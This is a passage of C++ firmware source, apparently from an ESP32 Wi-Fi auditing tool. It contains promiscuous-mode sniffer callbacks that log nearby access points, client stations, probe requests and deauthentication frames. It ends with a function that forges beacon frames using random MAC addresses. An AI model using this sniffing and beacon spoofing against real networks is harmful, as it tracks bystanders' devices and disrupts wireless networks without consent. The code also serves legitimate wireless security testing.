  1272. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1273. Serial.print(" ESSID: ");
  1274. display_string.concat(" -> ");
  1275. // Just grab the first 255 bytes of the pwnagotchi beacon
  1276. // because that is where the name is
  1277. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1278. for (int i = 0; i < len - 37; i++)
  1279. {
  1280. Serial.print((char)snifferPacket->payload[i + 38]);
  1281. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1282. if (isAscii(snifferPacket->payload[i + 38]))
  1283. essid.concat((char)snifferPacket->payload[i + 38]);
  1284. else
  1285. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1286. }
  1287. //essid.concat("\": \"\"}}");
  1288. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1289. // Load json
  1290. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1291. DynamicJsonDocument json(1024); // ArduinoJson v6
  1292. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1293. // ArduinoJson v6
  1294. if (deserializeJson(json, essid)) {
  1295. Serial.println("\nCould not parse Pwnagotchi json");
  1296. display_string.concat(essid);
  1297. }
  1298. else {
  1299. Serial.println("\nSuccessfully parsed json");
  1300. String json_output;
  1301. //json.printTo(json_output); // ArduinoJson v5
  1302. serializeJson(json, json_output); // ArduinoJson v6
  1303. Serial.println(json_output);
  1304. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1305. }
  1306. int temp_len = display_string.length();
  1307. for (int i = 0; i < 40 - temp_len; i++)
  1308. {
  1309. display_string.concat(" ");
  1310. }
  1311. Serial.print(" ");
  1312. #ifdef HAS_SCREEN
  1313. if (display_obj.display_buffer->size() == 0)
  1314. {
  1315. display_obj.loading = true;
  1316. display_obj.display_buffer->add(display_string);
  1317. display_obj.loading = false;
  1318. }
  1319. #endif
  1320. Serial.println();
  1321. if (save_packet)
  1322. sd_obj.addPacket(snifferPacket->payload, len);
  1323. }
  1324. }
  1325. }
  1326. }
  1327. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1328. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1329. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1330. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1331. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1332. int len = snifferPacket->rx_ctrl.sig_len;
  1333. String display_string = "";
  1334. String essid = "";
  1335. String bssid = "";
  1336. if (type == WIFI_PKT_MGMT)
  1337. {
  1338. len -= 4;
  1339. int fctl = ntohs(frameControl->fctl);
  1340. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1341. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1342. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1343. #ifdef HAS_SCREEN
  1344. int buf = display_obj.display_buffer->size();
  1345. #else
  1346. int buf = 0;
  1347. #endif
  1348. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1349. {
  1350. char addr[] = "00:00:00:00:00:00";
  1351. getMAC(addr, snifferPacket->payload, 10);
  1352. bool in_list = false;
  1353. bool mac_match = true;
  1354. for (int i = 0; i < access_points->size(); i++) {
  1355. mac_match = true;
  1356. //Serial.print("Checking ");
  1357. //Serial.print(addr);
  1358. //Serial.println(" against " + (String)access_points->get(i).essid);
  1359. for (int x = 0; x < 6; x++) {
  1360. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1361. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1362. mac_match = false;
  1363. //Serial.println("MACs do not match");
  1364. break;
  1365. }
  1366. }
  1367. if (mac_match) {
  1368. in_list = true;
  1369. break;
  1370. }
  1371. }
  1372. if (!in_list) {
  1373. delay(random(0, 10));
  1374. Serial.print("RSSI: ");
  1375. Serial.print(snifferPacket->rx_ctrl.rssi);
  1376. Serial.print(" Ch: ");
  1377. Serial.print(snifferPacket->rx_ctrl.channel);
  1378. Serial.print(" BSSID: ");
  1379. Serial.print(addr);
  1380. display_string.concat(addr);
  1381. Serial.print(" ESSID: ");
  1382. display_string.concat(" -> ");
  1383. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1384. {
  1385. Serial.print((char)snifferPacket->payload[i + 38]);
  1386. display_string.concat((char)snifferPacket->payload[i + 38]);
  1387. essid.concat((char)snifferPacket->payload[i + 38]);
  1388. }
  1389. bssid.concat(addr);
  1390. int temp_len = display_string.length();
  1391. for (int i = 0; i < 40 - temp_len; i++)
  1392. {
  1393. display_string.concat(" ");
  1394. }
  1395. Serial.print(" ");
  1396. #ifdef HAS_SCREEN
  1397. if (display_obj.display_buffer->size() == 0)
  1398. {
  1399. display_obj.loading = true;
  1400. display_obj.display_buffer->add(display_string);
  1401. display_obj.loading = false;
  1402. }
  1403. #endif
  1404. if (essid == "") {
  1405. essid = bssid;
  1406. Serial.print(essid + " ");
  1407. }
  1408. //LinkedList<char> beacon = new LinkedList<char>();
  1409. /*AccessPoint ap = {essid,
  1410. snifferPacket->rx_ctrl.channel,
  1411. {snifferPacket->payload[10],
  1412. snifferPacket->payload[11],
  1413. snifferPacket->payload[12],
  1414. snifferPacket->payload[13],
  1415. snifferPacket->payload[14],
  1416. snifferPacket->payload[15]},
  1417. false,
  1418. NULL};*/
  1419. AccessPoint ap;
  1420. ap.essid = essid;
  1421. ap.channel = snifferPacket->rx_ctrl.channel;
  1422. ap.bssid[0] = snifferPacket->payload[10];
  1423. ap.bssid[1] = snifferPacket->payload[11];
  1424. ap.bssid[2] = snifferPacket->payload[12];
  1425. ap.bssid[3] = snifferPacket->payload[13];
  1426. ap.bssid[4] = snifferPacket->payload[14];
  1427. ap.bssid[5] = snifferPacket->payload[15];
  1428. ap.selected = false;
  1429. ap.stations = new LinkedList<int>();
  1430. ap.beacon = new LinkedList<char>();
  1431. //for (int i = 0; i < len; i++) {
  1432. // ap.beacon->add(snifferPacket->payload[i]);
  1433. //}
  1434. ap.beacon->add(snifferPacket->payload[34]);
  1435. ap.beacon->add(snifferPacket->payload[35]);
  1436. Serial.print("\nBeacon: ");
  1437. for (int i = 0; i < ap.beacon->size(); i++) {
  1438. char hexCar[4];
  1439. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1440. Serial.print(hexCar);
  1441. if ((i + 1) % 16 == 0)
  1442. Serial.print("\n");
  1443. else
  1444. Serial.print(" ");
  1445. }
  1446. ap.rssi = snifferPacket->rx_ctrl.rssi;
  1447. access_points->add(ap);
  1448. Serial.print(access_points->size());
  1449. Serial.println();
  1450. if (save_packet)
  1451. sd_obj.addPacket(snifferPacket->payload, len);
  1452. }
  1453. }
  1454. }
  1455. }
  1456. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1457. {
  1458. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1459. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1460. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1461. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1462. int len = snifferPacket->rx_ctrl.sig_len;
  1463. String display_string = "";
  1464. String essid = "";
  1465. String bssid = "";
  1466. if (type == WIFI_PKT_MGMT)
  1467. {
  1468. len -= 4;
  1469. int fctl = ntohs(frameControl->fctl);
  1470. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1471. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1472. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1473. #ifdef HAS_SCREEN
  1474. int buf = display_obj.display_buffer->size();
  1475. #else
  1476. int buf = 0;
  1477. #endif
  1478. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1479. {
  1480. char addr[] = "00:00:00:00:00:00";
  1481. getMAC(addr, snifferPacket->payload, 10);
  1482. bool in_list = false;
  1483. bool mac_match = true;
  1484. for (int i = 0; i < access_points->size(); i++) {
  1485. mac_match = true;
  1486. //Serial.print("Checking ");
  1487. //Serial.print(addr);
  1488. //Serial.println(" against " + (String)access_points->get(i).essid);
  1489. for (int x = 0; x < 6; x++) {
  1490. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1491. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1492. mac_match = false;
  1493. //Serial.println("MACs do not match");
  1494. break;
  1495. }
  1496. }
  1497. if (mac_match) {
  1498. in_list = true;
  1499. break;
  1500. }
  1501. }
  1502. if (!in_list) {
  1503. delay(random(0, 10));
  1504. Serial.print("RSSI: ");
  1505. Serial.print(snifferPacket->rx_ctrl.rssi);
  1506. Serial.print(" Ch: ");
  1507. Serial.print(snifferPacket->rx_ctrl.channel);
  1508. Serial.print(" BSSID: ");
  1509. Serial.print(addr);
  1510. display_string.concat(addr);
  1511. Serial.print(" ESSID: ");
  1512. display_string.concat(" -> ");
  1513. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1514. {
  1515. Serial.print((char)snifferPacket->payload[i + 38]);
  1516. display_string.concat((char)snifferPacket->payload[i + 38]);
  1517. essid.concat((char)snifferPacket->payload[i + 38]);
  1518. }
  1519. bssid.concat(addr);
  1520. int temp_len = display_string.length();
  1521. for (int i = 0; i < 40 - temp_len; i++)
  1522. {
  1523. display_string.concat(" ");
  1524. }
  1525. Serial.print(" ");
  1526. #ifdef HAS_SCREEN
  1527. if (display_obj.display_buffer->size() == 0)
  1528. {
  1529. display_obj.loading = true;
  1530. display_obj.display_buffer->add(display_string);
  1531. display_obj.loading = false;
  1532. }
  1533. #endif
  1534. if (essid == "") {
  1535. essid = bssid;
  1536. Serial.print(essid + " ");
  1537. }
  1538. AccessPoint ap = {essid,
  1539. snifferPacket->rx_ctrl.channel,
  1540. {snifferPacket->payload[10],
  1541. snifferPacket->payload[11],
  1542. snifferPacket->payload[12],
  1543. snifferPacket->payload[13],
  1544. snifferPacket->payload[14],
  1545. snifferPacket->payload[15]},
  1546. false,
  1547. NULL,
  1548. snifferPacket->rx_ctrl.rssi,
  1549. new LinkedList<int>()};
  1550. access_points->add(ap);
  1551. Serial.print(access_points->size());
  1552. Serial.println();
  1553. if (save_packet)
  1554. sd_obj.addPacket(snifferPacket->payload, len);
  1555. }
  1556. }
  1557. }
  1558. }
  1559. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1560. {
  1561. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1562. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1563. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1564. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1565. int len = snifferPacket->rx_ctrl.sig_len;
  1566. String display_string = "";
  1567. if (type == WIFI_PKT_MGMT)
  1568. {
  1569. len -= 4;
  1570. int fctl = ntohs(frameControl->fctl);
  1571. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1572. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1573. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1574. #ifdef HAS_SCREEN
  1575. int buf = display_obj.display_buffer->size();
  1576. #else
  1577. int buf = 0;
  1578. #endif
  1579. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1580. {
  1581. delay(random(0, 10));
  1582. Serial.print("RSSI: ");
  1583. Serial.print(snifferPacket->rx_ctrl.rssi);
  1584. Serial.print(" Ch: ");
  1585. Serial.print(snifferPacket->rx_ctrl.channel);
  1586. Serial.print(" BSSID: ");
  1587. char addr[] = "00:00:00:00:00:00";
  1588. getMAC(addr, snifferPacket->payload, 10);
  1589. Serial.print(addr);
  1590. display_string.concat(addr);
  1591. Serial.print(" ESSID: ");
  1592. display_string.concat(" -> ");
  1593. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1594. {
  1595. Serial.print((char)snifferPacket->payload[i + 38]);
  1596. display_string.concat((char)snifferPacket->payload[i + 38]);
  1597. }
  1598. int temp_len = display_string.length();
  1599. #ifdef HAS_SCREEN
  1600. for (int i = 0; i < 40 - temp_len; i++)
  1601. {
  1602. display_string.concat(" ");
  1603. }
  1604. Serial.print(" ");
  1605. if (display_obj.display_buffer->size() == 0)
  1606. {
  1607. display_obj.loading = true;
  1608. display_obj.display_buffer->add(display_string);
  1609. display_obj.loading = false;
  1610. }
  1611. #endif
  1612. Serial.println();
  1613. if (save_packet)
  1614. sd_obj.addPacket(snifferPacket->payload, len);
  1615. }
  1616. }
  1617. }
  1618. void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1619. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1620. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1621. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1622. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1623. int len = snifferPacket->rx_ctrl.sig_len;
  1624. String display_string = "";
  1625. String mac = "";
  1626. if (type == WIFI_PKT_MGMT)
  1627. {
  1628. len -= 4;
  1629. int fctl = ntohs(frameControl->fctl);
  1630. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1631. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1632. }
  1633. char ap_addr[] = "00:00:00:00:00:00";
  1634. char dst_addr[] = "00:00:00:00:00:00";
  1635. int ap_index = 0;
  1636. // Check if frame has ap in list of APs and determine position
  1637. uint8_t frame_offset = 0;
  1638. int offsets[2] = {10, 4};
  1639. bool matched_ap = false;
  1640. bool ap_is_src = false;
  1641. bool mac_match = true;
  1642. for (int y = 0; y < 2; y++) {
  1643. for (int i = 0; i < access_points->size(); i++) {
  1644. mac_match = true;
  1645. for (int x = 0; x < 6; x++) {
  1646. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1647. if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) {
  1648. mac_match = false;
  1649. break;
  1650. }
  1651. }
  1652. if (mac_match) {
  1653. matched_ap = true;
  1654. if (offsets[y] == 10)
  1655. ap_is_src = true;
  1656. ap_index = i;
  1657. getMAC(ap_addr, snifferPacket->payload, offsets[y]);
  1658. break;
  1659. }
  1660. }
  1661. if (matched_ap)
  1662. break;
  1663. }
  1664. // If did not find ap from list in frame, drop frame
  1665. if (!matched_ap)
  1666. return;
  1667. else {
  1668. if (ap_is_src)
  1669. frame_offset = 4;
  1670. else
  1671. frame_offset = 10;
  1672. }
  1673. /*else {
  1674. // Check to make sure frame does not go to broadcast
  1675. char sta_addr[] = "00:00:00:00:00:00";
  1676. getMAC(dst_addr, snifferPacket->payload, 4);
  1677. if (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0)
  1678. Serial.print("Frame destination is broadcast -> ");
  1679. if (ap_is_src) {
  1680. Serial.print("src: ");
  1681. getMAC(sta_addr, snifferPacket->payload, 4);
  1682. }
  1683. else {
  1684. Serial.print("dst: ");
  1685. getMAC(sta_addr, snifferPacket->payload, 10);
  1686. }
  1687. Serial.print(ap_addr);
  1688. Serial.print(" sta: ");
  1689. Serial.println(sta_addr);
  1690. }*/
  1691. /* Stuff to care about now
  1692. * ap_is_src
  1693. * ap_index
  1694. */
  1695. // Check if we already have this station
  1696. bool in_list = false;
  1697. for (int i = 0; i < stations->size(); i++) {
  1698. mac_match = true;
  1699. for (int x = 0; x < 6; x++) {
  1700. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1701. if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) {
  1702. mac_match = false;
  1703. //Serial.println("MACs do not match");
  1704. break;
  1705. }
  1706. }
  1707. if (mac_match) {
  1708. in_list = true;
  1709. break;
  1710. }
  1711. }
  1712. getMAC(dst_addr, snifferPacket->payload, 4);
  1713. // Check if dest is broadcast
  1714. if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0))
  1715. return;
  1716. // Add to list of stations
  1717. Station sta = {
  1718. {snifferPacket->payload[frame_offset],
  1719. snifferPacket->payload[frame_offset + 1],
  1720. snifferPacket->payload[frame_offset + 2],
  1721. snifferPacket->payload[frame_offset + 3],
  1722. snifferPacket->payload[frame_offset + 4],
  1723. snifferPacket->payload[frame_offset + 5]},
  1724. false};
  1725. stations->add(sta);
  1726. // Print findings to serial
  1727. Serial.print((String)stations->size() + ": ");
  1728. char sta_addr[] = "00:00:00:00:00:00";
  1729. if (ap_is_src) {
  1730. Serial.print("ap: ");
  1731. Serial.print(ap_addr);
  1732. Serial.print(" -> sta: ");
  1733. getMAC(sta_addr, snifferPacket->payload, 4);
  1734. Serial.println(sta_addr);
  1735. }
  1736. else {
  1737. Serial.print("sta: ");
  1738. getMAC(sta_addr, snifferPacket->payload, 10);
  1739. Serial.print(sta_addr);
  1740. Serial.print(" -> ap: ");
  1741. Serial.println(ap_addr);
  1742. }
  1743. // Add station index to AP in list
  1744. //access_points->get(ap_index).stations->add(stations->size() - 1);
  1745. AccessPoint ap = access_points->get(ap_index);
  1746. ap.stations->add(stations->size() - 1);
  1747. access_points->set(ap_index, ap);
  1748. //Serial.println(access_points->get(ap_index).essid + ": " + (String)access_points->get(ap_index).stations->size());
  1749. }
  1750. void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1751. {
  1752. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1753. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1754. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1755. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1756. int len = snifferPacket->rx_ctrl.sig_len;
  1757. String display_string = "";
  1758. if (type == WIFI_PKT_MGMT)
  1759. {
  1760. len -= 4;
  1761. int fctl = ntohs(frameControl->fctl);
  1762. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1763. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1764. }
  1765. Serial.print("RSSI: ");
  1766. Serial.print(snifferPacket->rx_ctrl.rssi);
  1767. Serial.print(" Ch: ");
  1768. Serial.print(snifferPacket->rx_ctrl.channel);
  1769. Serial.print(" BSSID: ");
  1770. char addr[] = "00:00:00:00:00:00";
  1771. getMAC(addr, snifferPacket->payload, 10);
  1772. Serial.print(addr);
  1773. display_string.concat(text_table4[0]);
  1774. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1775. display_string.concat(" ");
  1776. display_string.concat(addr);
  1777. int temp_len = display_string.length();
  1778. #ifdef HAS_SCREEN
  1779. for (int i = 0; i < 40 - temp_len; i++)
  1780. {
  1781. display_string.concat(" ");
  1782. }
  1783. Serial.print(" ");
  1784. if (display_obj.display_buffer->size() == 0)
  1785. {
  1786. display_obj.loading = true;
  1787. display_obj.display_buffer->add(display_string);
  1788. display_obj.loading = false;
  1789. }
  1790. #endif
  1791. Serial.println();
  1792. if (save_packet)
  1793. sd_obj.addPacket(snifferPacket->payload, len);
  1794. }
  1795. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1796. {
  1797. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1798. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1799. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1800. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1801. int len = snifferPacket->rx_ctrl.sig_len;
  1802. String display_string = "";
  1803. if (type == WIFI_PKT_MGMT)
  1804. {
  1805. len -= 4;
  1806. int fctl = ntohs(frameControl->fctl);
  1807. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1808. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1809. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1810. #ifdef HAS_SCREEN
  1811. int buf = display_obj.display_buffer->size();
  1812. #else
  1813. int buf = 0;
  1814. #endif
  1815. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1816. {
  1817. delay(random(0, 10));
  1818. Serial.print("RSSI: ");
  1819. Serial.print(snifferPacket->rx_ctrl.rssi);
  1820. Serial.print(" Ch: ");
  1821. Serial.print(snifferPacket->rx_ctrl.channel);
  1822. Serial.print(" BSSID: ");
  1823. char addr[] = "00:00:00:00:00:00";
  1824. char dst_addr[] = "00:00:00:00:00:00";
  1825. getMAC(addr, snifferPacket->payload, 10);
  1826. getMAC(dst_addr, snifferPacket->payload, 4);
  1827. Serial.print(addr);
  1828. Serial.print(" -> ");
  1829. Serial.print(dst_addr);
  1830. display_string.concat(text_table4[0]);
  1831. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1832. display_string.concat(" ");
  1833. display_string.concat(addr);
  1834. #ifdef HAS_SCREEN
  1835. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1836. {
  1837. display_string.concat(" ");
  1838. }
  1839. Serial.print(" ");
  1840. if (display_obj.display_buffer->size() == 0)
  1841. {
  1842. display_obj.loading = true;
  1843. display_obj.display_buffer->add(display_string);
  1844. display_obj.loading = false;
  1845. }
  1846. #endif
  1847. Serial.println();
  1848. if (save_packet)
  1849. sd_obj.addPacket(snifferPacket->payload, len);
  1850. }
  1851. }
  1852. }
  1853. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1854. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1855. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1856. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1857. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1858. int len = snifferPacket->rx_ctrl.sig_len;
  1859. String display_string = "";
  1860. if (type == WIFI_PKT_MGMT)
  1861. {
  1862. len -= 4;
  1863. int fctl = ntohs(frameControl->fctl);
  1864. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1865. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1866. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1867. #ifdef HAS_SCREEN
  1868. int buf = display_obj.display_buffer->size();
  1869. #else
  1870. int buf = 0;
  1871. #endif
  1872. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1873. {
  1874. delay(random(0, 10));
  1875. Serial.print("RSSI: ");
  1876. Serial.print(snifferPacket->rx_ctrl.rssi);
  1877. Serial.print(" Ch: ");
  1878. Serial.print(snifferPacket->rx_ctrl.channel);
  1879. Serial.print(" Client: ");
  1880. char addr[] = "00:00:00:00:00:00";
  1881. getMAC(addr, snifferPacket->payload, 10);
  1882. Serial.print(addr);
  1883. display_string.concat(addr);
  1884. Serial.print(" Requesting: ");
  1885. display_string.concat(" -> ");
  1886. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1887. {
  1888. Serial.print((char)snifferPacket->payload[26 + i]);
  1889. display_string.concat((char)snifferPacket->payload[26 + i]);
  1890. }
  1891. // Print spaces because of the rotating lines of the hardware scroll.
  1892. // The same characters print from previous lines so I just overwrite them
  1893. // with spaces.
  1894. #ifdef HAS_SCREEN
  1895. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1896. {
  1897. display_string.concat(" ");
  1898. }
  1899. if (display_obj.display_buffer->size() == 0)
  1900. {
  1901. //while (display_obj.printing)
  1902. // delay(1);
  1903. display_obj.loading = true;
  1904. display_obj.display_buffer->add(display_string);
  1905. display_obj.loading = false;
  1906. }
  1907. #endif
  1908. Serial.println();
  1909. if (save_packet)
  1910. sd_obj.addPacket(snifferPacket->payload, len);
  1911. }
  1912. }
  1913. }
  1914. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1915. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1916. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1917. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1918. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1919. int len = snifferPacket->rx_ctrl.sig_len;
  1920. String display_string = "";
  1921. String essid = "";
  1922. bool found = false;
  1923. if (type == WIFI_PKT_MGMT)
  1924. {
  1925. len -= 4;
  1926. int fctl = ntohs(frameControl->fctl);
  1927. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1928. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1929. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1930. #ifdef HAS_SCREEN
  1931. int buf = display_obj.display_buffer->size();
  1932. #else
  1933. int buf = 0;
  1934. #endif
  1935. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1936. {
  1937. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1938. {
  1939. essid.concat((char)snifferPacket->payload[26 + i]);
  1940. }
  1941. for (int i = 0; i < ssids->size(); i++) {
  1942. if (ssids->get(i).essid == essid) {
  1943. Serial.println("Found a sheep");
  1944. found = true;
  1945. break;
  1946. }
  1947. }
  1948. if (!found)
  1949. return;
  1950. delay(random(0, 10));
  1951. Serial.print("RSSI: ");
  1952. Serial.print(snifferPacket->rx_ctrl.rssi);
  1953. Serial.print(" Ch: ");
  1954. Serial.print(snifferPacket->rx_ctrl.channel);
  1955. Serial.print(" Client: ");
  1956. char addr[] = "00:00:00:00:00:00";
  1957. getMAC(addr, snifferPacket->payload, 10);
  1958. Serial.print(addr);
  1959. display_string.concat(addr);
  1960. Serial.print(" Requesting: ");
  1961. display_string.concat(" -> ");
  1962. // ESSID
  1963. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1964. {
  1965. Serial.print((char)snifferPacket->payload[26 + i]);
  1966. display_string.concat((char)snifferPacket->payload[26 + i]);
  1967. }
  1968. // Print spaces because of the rotating lines of the hardware scroll.
  1969. // The same characters print from previous lines so I just overwrite them
  1970. // with spaces.
  1971. #ifdef HAS_SCREEN
  1972. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1973. {
  1974. display_string.concat(" ");
  1975. }
  1976. if (display_obj.display_buffer->size() == 0)
  1977. {
  1978. display_obj.loading = true;
  1979. display_obj.display_buffer->add(display_string);
  1980. display_obj.loading = false;
  1981. }
  1982. #endif
  1983. Serial.println();
  1984. if (save_packet)
  1985. sd_obj.addPacket(snifferPacket->payload, len);
  1986. }
  1987. }
  1988. }
  1989. /*
  1990. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1991. set_channel = random(1,12);
  1992. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1993. delay(1);
  1994. // Randomize SRC MAC
  1995. packet[10] = packet[16] = custom_ssid.bssid[0];
  1996. packet[11] = packet[17] = custom_ssid.bssid[1];
  1997. packet[12] = packet[18] = custom_ssid.bssid[2];
  1998. packet[13] = packet[19] = custom_ssid.bssid[3];
  1999. packet[14] = packet[20] = custom_ssid.bssid[4];
  2000. packet[15] = packet[21] = custom_ssid.bssid[5];
  2001. char ESSID[custom_ssid.essid.length() + 1] = {};
  2002. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  2003. }*/
  2004. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  2005. set_channel = random(1,12);
  2006. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2007. delay(1);
  2008. if (custom_ssid.beacon->size() == 0)
  2009. return;
  2010. // Randomize SRC MAC
  2011. // Randomize SRC MAC
  2012. packet[10] = packet[16] = random(256);
  2013. packet[11] = packet[17] = random(256);
  2014. packet[12] = packet[18] = random(256);
  2015. packet[13] = packet[19] = random(256);
  2016. packet[14] = packet[20] = random(256);
  2017. packet[15] = packet[21] = random(256);
  2018. char ESSID[custom_ssid.essid.length() + 1] = {};
  2019. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  2020. int realLen = strlen(ESSID);
  2021. int ssidLen = random(realLen, 33);
  2022. int numSpace = ssidLen - realLen;
  2023. //int rand_len = sizeof(rand_reg);
  2024. int fullLen = ssidLen;
  2025. packet[37] = fullLen;
  2026. // Insert my tag
  2027. for(int i = 0; i < realLen; i++)
  2028. packet[38 + i] = ESSID[i];
  2029. for(int i = 0; i < numSpace; i++)
  2030. packet[38 + realLen + i] = 0x20;
  2031. /////////////////////////////
  2032. packet[50 + fullLen] = set_channel;
